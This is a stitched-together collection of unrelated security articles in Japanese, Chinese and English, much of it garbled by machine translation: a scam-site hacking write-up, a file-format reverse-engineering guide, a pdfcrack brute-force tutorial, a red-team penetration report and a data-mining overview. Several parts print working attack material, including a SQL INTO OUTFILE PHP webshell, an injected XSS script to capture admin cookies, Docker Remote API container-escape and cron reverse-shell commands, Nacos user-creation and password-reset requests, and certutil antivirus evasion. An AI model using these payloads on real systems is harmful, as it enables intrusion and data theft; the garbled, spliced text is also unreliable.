絶対パス、データベースルートアクセス許可、およびデータベースの書き込みアクセス許可を知る必要があります。具体的なステートメント: '?php eval(@$ _ post [' xx ']);'を選択しますOutfile 'd: \\ wap \\ member_bak.php'注:windowsの下では、二重のバックスラッシュが必要です。そうしないと、逃げて、キッチンナイフ/アリの剣やその他のリンクを使用します。当時スクリーンショットがなかったため、ウェブサイトを開くことができないようになるため、シェルを取得した後、以下は直接ステータスをリリースします。

图片

侵入は終了しました。私は権限を見ました。それはシステムの権限でした。しかし、私たちの目標は、詐欺師のIP情報と位置情報を見つけることでした。そして、次のステップは

0x02詐欺師のポジショニングポート

シェルを取得する方がはるかに簡単です。背景にログインされているPHPファイルを見つけて、XSSコードを挿入してください。

图片

しばらく検索した後、バックグラウンドログインが別のWebサイトディレクトリにあることがわかりました。

echo'scriptsrc=https://xx.xx/xfxx/script ';詐欺師がログインするのを待っています

图片

私は実際に携帯電話、666でログインしています

クッキーをバックグラウンドにログインするために交換しますが、役に立たないことがわかりましたが、ほんの数字でした。

图片

IPIP.NETに移動して、IPアドレス情報を確認します。偶然ではありません、私は確かに再び海外にいました。悲しいかな.

图片

0x03ファンに結果を知らせます

プロセス中に、私は被害者とWeChatチャットの記録を直接投稿しました。

图片

图片

图片

图片

图片

图片 图片

图片

0x04そのような詐欺を防ぐ方法

1.オンラインで友人を作るときは、詐欺防止の認識を改善し、良好な社会的メンタリティを維持し、特に金融取引に関しては個人のプライバシー情報の保護に注意を払う必要があります。複数のチャネルを使用して、相手の真のアイデンティティを必ず確認してください。

2.インターネットでの財務を投資して管理することを伴い、高いリターンを持っている人は誰でも詐欺と見なされます。

3.詐欺師は、友人のサークルの投資収益性に関する情報を常に共有して、被害者を引き付けて相談するイニシアチブを取得します。

4.被害者にプラットフォームの登録を誘導し、資金を投資します。被害者が利益を見て現金を引き出すことを望んだとき、プラットフォームは預金の要求、必要に応じて通知の失敗、アカウントの凍結、税金など、被害者の銀行カード番号の理由でお金を誘い、詐欺を犯し続けました。

5.投資と財務管理の正しい見解を維持し、リスクのないがリターンの投資方法を盲目的に信じていないので、空から落ちるパイはありません。

元のリンクから転載:https://mp.weixin.qq.com/s/7o4xv8mkbx3wct3zxbcmng

現代IT 產品通常必須處理各種文件格式。雖然確保與開放文件格式的兼容性很容易,但讓您的軟件處理專有或封閉文件格式卻很棘手。

主要的挑戰是沒有一種通用的解決方案來反轉專有文件格式。在每種情況下,您都必鬚根據手頭的數據採取不同的行動。

在本文中,我們探討了專有文件格式是什麼以及為什麼您可能需要對一種文件格式進行逆向工程。我們還分享了我們處理封閉格式文件的經驗,並展示了一些從中恢復數據的方法。本文對於希望通過支持封閉文件格式來增強產品互操作性的開發領導者很有用。

以專有格式反轉文件的方式和原因文件格式具有用於結構化和存儲數據的特定編碼方案。如果沒有特定的軟件或硬件,專有文件格式通常無法解碼和解釋。數據通常由專有軟件以專有格式讀取和保存。

專有格式通常被設計為保密的,這意味著數據編碼格式的規範不公開發布或僅在保密協議下披露。有時,創建者(個人開發者或組織)會發布編碼詳細信息,但會通過許可證限制格式的使用。因此,專有格式被認為是封閉格式,與公開格式形成對比,開放格式可供所有人免費使用。

封閉文件格式的著名示例是WMA 和CDR。一些流行的文件格式,如XLS 和DOC,過去是封閉的和未記錄的,但現在是開放的。

為什麼需要對專有文件格式進行逆向工程?

軟件開發人員通常需要對專有文件格式進行逆向工程以提高軟件互操作性。

處理封閉文件格式的法律立場因各國與軟件專利相關的法律而異。但是,為提高互操作性而對文件格式進行逆向工程通常是合法的。此外,您可能需要對計算機取證的封閉文件格式進行逆向工程。

沒有通用的方法來對每次都有效的封閉文件格式進行逆向工程。每個案例都是獨立的。在本文中,我們探討了針對不同情況恢復專有文件格式的三個示例:

image.png

確定專有文件格式的3 種方法

讓我們詳細探討每個場景,從我們可以避免逆向工程的場景開始。

如何根據文件簽名確定專有文件格式使用任何文件格式都從發現格式的名稱並找到可以使用它的解析器開始。有時,此過程可能很簡單,您只需在Google 中鍵入file extension parser 即可找到相關的解析器。

但是,文件擴展名有時與文件的實際格式不匹配。例如,計算機遊戲通常將其資源文件擴展名指定為DAT,儘管它們內部可以是ZIP 文件。此外,一些基於Matroska容器的視頻格式使用自定義編解碼器來傳輸視頻,因此它們具有非標准文件擴展名。

要確定文件格式,您可以使用專門的工具,例如:

file(1) — 在Linux 中確定文件類型的工具

Binwalk — 用於分析、逆向工程和提取固件映像的工具

FACT 提取器——提取最常見容器格式的工具

然後,您需要檢查文件是否已存檔和加密。一種方法是使用Hex Workshop 中的Data Visualizer功能。

如果文件可能被歸檔,請嘗試使用7-Zip打開它。令人驚訝的是,這個文件歸檔器可以通過掃描文件的開頭來識別格式。即使文件在ZIP 數據之前有一些自定義標頭,7-Zip 仍然可以識別它。

另一個有用的工具是Offzip,它允許您以二進制代碼搜索zlib 流並將它們提取為文件。

所有這些工具都提供了識別已知文件格式並避免在沒有實際需要的情況下進行逆向工程的機會。但是如果您找不到文件格式,您可以嘗試使用文件的簽名來搜索它。要發現文件的簽名,請在十六進制編輯器中打開文件。

文件簽名,也稱為幻數,是文件開頭的唯一字節序列,用於標識其格式。通常,文件簽名是指文件的前二到八個字節。獲得文件簽名後,在Google 和GitHub 上搜索幻數,使用在網站或代碼中如何描述這些數字的不同變體。

假設您的文件簽名以以下字節開頭:41 50 52 34 65 76 65 72。以下是您應該嘗試的搜索請求的幾個示例:

41 50 52 34 65 76 65 72 簽名

41 50 52 34 65 76 65 72 魔法

41 50 52 34 簽名

41 50 52 34 魔法

41505234(因為簽名也可以是DWORD)

0x410x500x520x340x650x760x650x72 簽名

0x41505234

0x34525041(如果是小端)

您還可以使用美國信息交換標準代碼(ASCII)。在我們的例子中,我們對文件簽名的搜索查詢看起來像“APR4ever”。

這種方法可以幫助您識別這種文件格式類似於什麼,甚至可以找到一個現成的解析器。您還可以找到這種格式的其他文件,並分析它們的創建者和解析方式。

如何使用可執行文件對數據格式進行逆向工程如果您在Google 上徹底搜索文件簽名後仍未找到任何內容,則可能意味著您的文件格式確實很少見。在這種情況下,您可以使用可以解析此特定格式的可執行文件開始對您的專有文件格式進行逆向工程。但是如何找到這個可執行文件呢?

有兩種選擇:方案一:通過目標文件的簽名查找可執行文件。掃描與您計劃進行逆向工程的文件一起使用的整個程序目錄,搜索二進制形式的簽名。按文件內容啟動搜索以查找與目標文件匹配的簽名。查找目標文件以使用專用工具(如Effective File Search或Total Commander for Windows)或命令行工具(如分別在Linux 和macOS 上的grep或Binwalk)開頭的字節。

如果找到匹配的簽名,則將可執行文件加載到交互式反彙編程序(IDA) 中,搜索檢查文件簽名的位置,然後開始逆向執行進一步解析數據的代碼。

如果一個文件沒有簽名或者你在按文件內容搜索時沒有找到任何東西,你可以在運行時分析這個文件。

選項2:在運行時分析目標文件。啟動Process Monitor,為文件操作設置過濾器,並嘗試捕捉專有文件打開的時刻。然後,查看進程監視器中的相關行以查找文件的CreateFile 操作或第一個ReadFile。查看此事件的堆棧,了解哪個可執行文件試圖調用ReadFile(),更重要的是,代碼中的地址是什麼。將您的文件上傳到IDA 並查看解析如何運行,就像簽名搜索一樣。

通常,用於解析的代碼位於靠近閱讀開始的地方。在這種情況下,查看所有ReadFile 操作,查看讀取了多少字節,並查看這些字節在文件中的位置。

但是,有些文件可以用更複雜的方式開發。例如,開發人員可以使用流類甚至自定義類來訪問基於具有虛擬函數和多線程的類層次結構的文件,而不是使用簡單的函數來讀取文件。

在這種情況下,當您找到ReadFile函數時,您將找不到任何接近它的解析代碼。您將看到的只是一個從某個虛函數調用的ReadFile,讀取的數據將存儲在緩衝區中。

在這種情況下,您必須:

恢復閱讀器的類

找到使用讀取器從緩衝區接收數據的類

了解該類如何與讀者同步

只有這樣你才能找到解析文件中數據的類。

但是,有時您可能需要從既沒有簽名也沒有可執行文件的文件中恢復數據。讓我們探討一下在這種情況下可以做什麼。

如何在沒有可執行文件的情況下對數據格式進行逆向工程在我們開始探索如何從沒有可執行文件的專有文件格式恢復數據的示例之前,讓我們簡要概述一下信息如何存儲在文件中的一般邏輯。

了解所有文件都具有結構化數據這一點很重要。沒有人以允許隨機放置對象的方式創建文件格式。

每種文件格式都有一定的邏輯。而這個邏輯通常與文件的用途有關。例如,文件系統映像的文件必須具有特定的結構才能存儲元數據,例如大小、名稱和其他屬性。圖像文件必須能夠存儲有關圖像大小、顏色數量和其他圖像元數據的信息。

開發人員在他們創建的文件中組織信息存儲的選項通常有限。邏輯的選擇通常基於開發人員的知識和經驗。沒有必要使這樣的任務過於復雜並嘗試提出原創想法,尤其是在創建專有文件格式時。

現在讓我們探討如何使用真實示例對專有數據文件格式進行逆向工程。這裡我們有一個封閉格式的隨機固件文件。我們無法根據其簽名在Internet 上找到任何信息,並且它沒有可以幫助我們識別格式的獨特擴展名。

image.png

截圖1. 文件夾中的一個固件文件

顯然數據在最大的文件中:swfl_00005684.bin.001_032_079。但我們也可以看到swfl_00005684.xml.001_032_079 文件,這對於揭示如何從目標文件中解析數據很有用。

第一條規則是不要忽視元數據。

在這種情況下,我們會在要恢復的文件附近看到一個XML 文件。打開swfl_00005684.xml.001_032_079 文件後,我們會發現BIN 文件部分的描述:

image.png

在此示例中,SOURCE-START-ADDRESS指向BIN 文件中偏移的片段的開頭。並且SOURCE-END-ADDRESS是這個片段的結尾。

從swfl_00005684.bin.001_032_079 文件中提取數據片段後,如XML 文件中所述,我們得到三個文件。其中一個是數字簽名,另外兩個是另一種具有HAR#$%@ 簽名的專有格式。

我們發現這兩個文件是存檔。第一條線索是Data Visualizer 向我們展示了這些文件在開頭有一些文本,然後是高熵數據。

image.png

屏幕截圖2. 高熵數據在數據可視化工具中的外觀

第二條線索是這個文件在十六進制編輯器中的樣子:

image.png

屏幕截圖3. HAR 文件的開頭在十六進制編輯器中的樣子

它看起來像一個包含存檔文件名稱的表格。然而,挑戰在於找到一種方法來解析這些數據,以便我們可以將zlib 流與其元數據連接起來。

由於我們知道它是有關存檔文件的信息,因此我們將此數據粘貼到記事本中以查看哪些數據正在更改,哪些沒有。這是我們最終得到的:

image.png

屏幕截圖4. HAR 文件頭中的數據在記事本中的外觀

因此,存檔中保存的文件元數據很可能包含創建/更新日期、屬性以及壓縮和解壓縮文件的大小等信息。

關於存檔中不同文件的創建/更新日期的信息會略有不同,因為文件元數據通常以Unix 時間格式顯示。這就是為什麼我們可以看到這個數據大部分是重複的。

我們可以學習使用此文件的第二條規則是了解常見數據類型在十六進制編輯器中的外觀。對於常見的數據類型,我們指的是Unix Time、Dos Time、Float、Double 等。

很明顯,如果元數據包含目錄描述(而不是文件),則不會提及大小。

在目錄之後,我們有一個條目,如下面的屏幕截圖所示。由於它是一個文件描述符,因此該條目的大小字段中填充了值。

image.png

屏幕截圖5. 我們在目錄後得到的條目

出於好奇,我們使用Offzip 掃描工具來驗證我們的猜測,結果如下:

image.png

截圖6. Offzip 工具掃描HAR 文件後的結果

讓我們看看HAR 文件末尾偏移量0x335 處的數據:

image.png

屏幕截圖7. HAR 文件末尾偏移量0x335 處的數據

它是偏移量為0x335 的zlib 流,長度為0x99 字節。

這些是我們已經在元數據中看到的相同數字。所以我們可以得出結論,這個HAR文件只包含/tmp/manifest/usr/share/swe/00005684/00f15000.manifest文件,其餘都是目錄。

因此,我們僅使用文件本身的數據提取了一個未知格式的文件,因為我們了解我們希望在那裡找到的內容。

結論了解如何對專有文件格式進行逆向工程可以幫助您確保您的軟件適用於各種文件格式。

但逆向工程一個封閉的文件格式是具有挑戰性的。它不僅需要逆向工程方面的專業技能,還需要對許多其他主題的深入了解。例如,必須注意存儲在您需要進行逆向工程的文件附近的其他文件,並了解十六進制編輯器中不同數據類型的外觀。

PDF is the most common document format in our work. We often use encrypted files for important files. But when I forget my password, how should you deal with it?

图片 Next we use Mr. World to create a pdf file.

图片 Next, we add a password to the just generated pdf in Linux. The command is as follows:

#Installing the tools first

apt-getinstallpdftk

#Add password to the file

pdftkkali.pdfoutputout.pdfuser_pw666666 As mentioned above, we added a password (666666) to the kali.pdf file and output it as out.pdf

图片 Now, let’s take a look at how to crack it. First, we install the tool pdfcrack

apt-getinstallpdfcrack 图片 Use specified characters to start brute-force cracking pdfcrack-fout.pdf-n6-m8-c0123456789 Parameter Detailed Explanation-f: Select the pdf file to crack

-n: How many characters are the shortest password

-m: How many characters are the password longest

-c: The character set used

图片 In the column above, my password is only 6 pure numbers. It took less than 30 seconds to crack. Therefore, for important files, you must strengthen the password strength and backup the password to prevent the password from being lost. Of course, in the column above, we only use numbers. What if there are letters? Why not try the universal password below.

pdfcrack-fsecret.pdf-n1-m20-c0123456789abcdefghijklmnopqrstuvwxyABCDEFGHIJKLMNOPQRSTUVWXYZ.In theory, the success rate is 99.99%, it is just a matter of time. Similarly, pdfcrack supports dictionary mode, the command is as follows:

pdfcrack-fout.pdf-wpass.txtMore exciting articles Welcome to follow us

 

1、供应链

在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板效应,一处出现短板,整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外,而且由于复杂的关系,使得对它们的监控和管理变得更为困难。因此,攻击团队通常会选择从供应链着手,以一种迂回的方式绕过目标单位强大的防御体系,获得对目标单位的控制权限。

通过在搜索引擎上搜索"系统名称"目标单位

image.png
找到相关的供应商信息,通过对供应商进行攻击,获取目标单位的数据及权限。!

image.png

1.1、heapdump泄露

通过对供应商资产进行渗透,发现某资产admin目录下存在heapdump文件泄露

image.png

对于heapdump的利用方式这里就不太赘述,有许多文章对其原理和利用都进行了深入的研究,特定情况下还可以直接进行RCE,这里泄露了大量敏感信息,密码信息加入密码本

image.png

登录MinIO,发现大量所属目标单位的敏感信息,也存在其它单位的敏感信息

image.png

登录Nacos,大量配置文件,密码信息加入密码本![]

image.png
登录OSS,发现大量所属目标单位的敏感信息

image.png

1.2、微信小程序接口未授权

1.2.1、微信小程序解包

想要对微信小程序进行解包操作,首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式,用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的,需要使用专门设计的解密工具先进行解密,再进行解包操作,获取文件内容。iOS和Android平台下可直接进行解包操作。

1.2.1.1、获取wxapkg文件

在获取wxapkg文件时,最好将文件夹中的文件先删除,然后再重新打开小程序,防止其它文件干扰

iOS wxapkg 文件存放路径为:

/var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID}

Android wxapkg 文件存放路径为:

/data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/

Windows wxapkg 文件存放路径为:

C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\

image.png

1.2.1.2、解密操作

下面两个github项目都可以进行解密操作

https://github.com/superdashu/pc_wxapkg_decrypt_python
https://github.com/BlackTrace/pc_wxapkg_decrypt

解密原理

image.png
成功解密

image.png

1.2.1.2、解包操作

国光大佬提供的工具下载链接

https://sqlsec.lanzoub.com/i1NEP0mx694f

node wuWxapkg.js 1.wxapkg

image.png

对小程序进行解包操作,获取到前端JS代码后中,从中进行提取获得接口

image.png

直接访问目标接口,前端页面虽然显示初始化失败

image.png
但流量包中已获取数据,近千万条目标单位敏感信息

image.png

1.3、web程序越权

通过上述收集到的密码,撞密码撞出一个账号,但是此账号为最低权限,无任何操作权限,点击搜索组织架构,此时无任何返回信息
image.png

抓包将parentId和orgLevel去除,再发包,即可越权看到全员组织架构

image.png

点击修改密码,然后将上述获取到的roleId添加进去,即可获取全部权限

image.png

获取到大量数据

image.png

1.4、公众号

js泄露密码,密码可撞库目标单位公众号

image.png

2、云原生安全

容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能,受到了越来越多厂商的使用,新的应用就会引入新的攻击面,如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时,安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱,容易受到各种安全威胁和攻击。

2.1、Harbor 镜像仓库

Harbor是一个开源的容器镜像仓库管理器,旨在帮助组织存储、管理和分发Docker容器镜像,但是Harbor存在一个充满争议的“漏洞”:任意用户能够直接获取public的镜像。

image.png

可以直接拉取下载镜像文件,可以利用脚本批量下载

image.png

2.2、疑似后门

通过镜像文件获取jar包,获取配置文件等敏感信息,对jar包的class文件进行反编译,进行代码审计获取到一个类似后门的漏洞,该接口只需要使用用户名,即可登录系统后台。管理员权限配合文件上传获取服务器权限。

image.png

通过配置文件连接数据库等

image.png

2.3、docker未授权

2.3.1、 registry api未授权访问

在 Docker Registry API 中,认证和授权通常是基于访问令牌(Access Token)或者用户名和密码的。如果未正确设置访问控制权限,即会造成未授权访问漏洞,攻击者可直接下载registry仓库的所有镜像容器。

访问/v2/_catalog接口即可查看全部仓库内容

image.png
https://github.com/Soufaker/docker_v2_catalog

利用上述工具可直接下载镜像

2.3.2、 Docker Remote API未授权访问

为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon时,将开放2375端口接收来自远程Docker客户端的命令。在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式的身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸。

#查看容器
docker -H tcp://<target>:2375 ps -a

image.png

#挂载宿主机的根目录到容器内的mnt目录
docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash
#反弹shell
echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root

2.4、Nacos

Nacos是一个开源的动态服务发现、配置管理和服务管理平台,它提供了注册中心、配置中心和服务管理等功能,帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。

作为一个开源工具,漏洞还是被披露不少的,

未授权访问:/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户

任意用户添加:POST /nacos/v1/auth/users username= & password=

任意用户密码修改:curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2'

弱口令:nacos/nacos

image.png

通过编排密码爆破进后台,发现大量配置文件,但敏感信息均被加密

image.png

2.4.1、Jasypt加密

Spring 的配置文件中会有一些敏感信息,如数据库密码,因此有时我们希望将敏感信息加密,Jasypt 就是其中比较方便的工具,Jasypt 是一个 Java 库,用于简化敏感数据(如密码、API 密钥等)的加密和解密操作。

加密的内容需要用 ENC(..) 括起来,加密用的密码通过 jasypt.encryptor.password 指定。

spring:
  datasource:
    username: your-username
    password: ENC(encrypted-password)

因为必须要解密,密码就需要放在配置文件里,或者放在代码中:

# application.yml

jasypt:
  encryption:
    password: 密码
    algorithm: 加密方式

解密数据:使用解密器的 decrypt 方法对加密的数据进行解密操作。

import org.jasypt.util.text.BasicTextEncryptor;

public class DecryptionExample {
    public static void main(String[] args) {
        String encryptionKey = "yourEncryptionKey"; // 加密密钥
        BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
        textEncryptor.setPassword(encryptionKey);

        String encryptedText = "encryptedText"; // 加密后的数据
        String decryptedText = textEncryptor.decrypt(encryptedText);

        System.out.println("Decrypted Text: " + decryptedText);
    }
}

但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性,当密码泄露后,加密也就自然失效了,在ncaos一个文件中发现jasypt加密密码,可以直接进行解密操作

image.png
成功连接OSS

image.png

成功连接数据库

image.png

小程序token,接管小程序

image.png

达梦数据库是国产化的关系型数据库,使用下面工具可以进行连接

https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3

3、Nday

3.1、yongyouNC jsInvoke rce漏洞

漏洞利用方法,通过Java反射机制创建一个javax.naming.InitialContext对象,并使用LDAP协议连接到指定的IP地址和端口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法,接受对象和字符串作为参数,达到命令执行的效果。

命令执行成功,但是目标系统存在杀软,无法直接上传文件

image.png

3.1.1、certutil

certutil 是 Windows 操作系统中的一个命令行工具,主要用于处理证书和加密相关的操作,利用 certutil的解密操作可以绕过杀软。

echo bash64编码后的免杀马 > myfile.jsp

image.png

使用certutil进行解码

certutil -decode 木马相对路径 解码后的木马相对路径

image.png

冰蝎上线并上线CS

image.png

3.2、若依二开

shiro的洞修复了,找到一个前台信息泄露漏洞

image.png

通过获取到的用户名,使用弱口令进入后台,普通权限

image.png

再次对公告发布人员猜解密码,成功登录后台,多了系统管理权限,直接添加用户赋予最高权限

image.png

新增用户登录,发现定时任务功能,直接使用定时任务执行命令

image.png

3.3、shiro

目标路径在被访问时,会先跳转到统一认证登录,导致大部分都忽视了该路径是存在shiro反序列化漏洞的

image.png

本着试一试的心态进行了shiro的扫描,默认密钥,直接获取权限

image.png

  转自于原文链接: https://forum.butian.net/share/2442

 

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD)的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:

image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

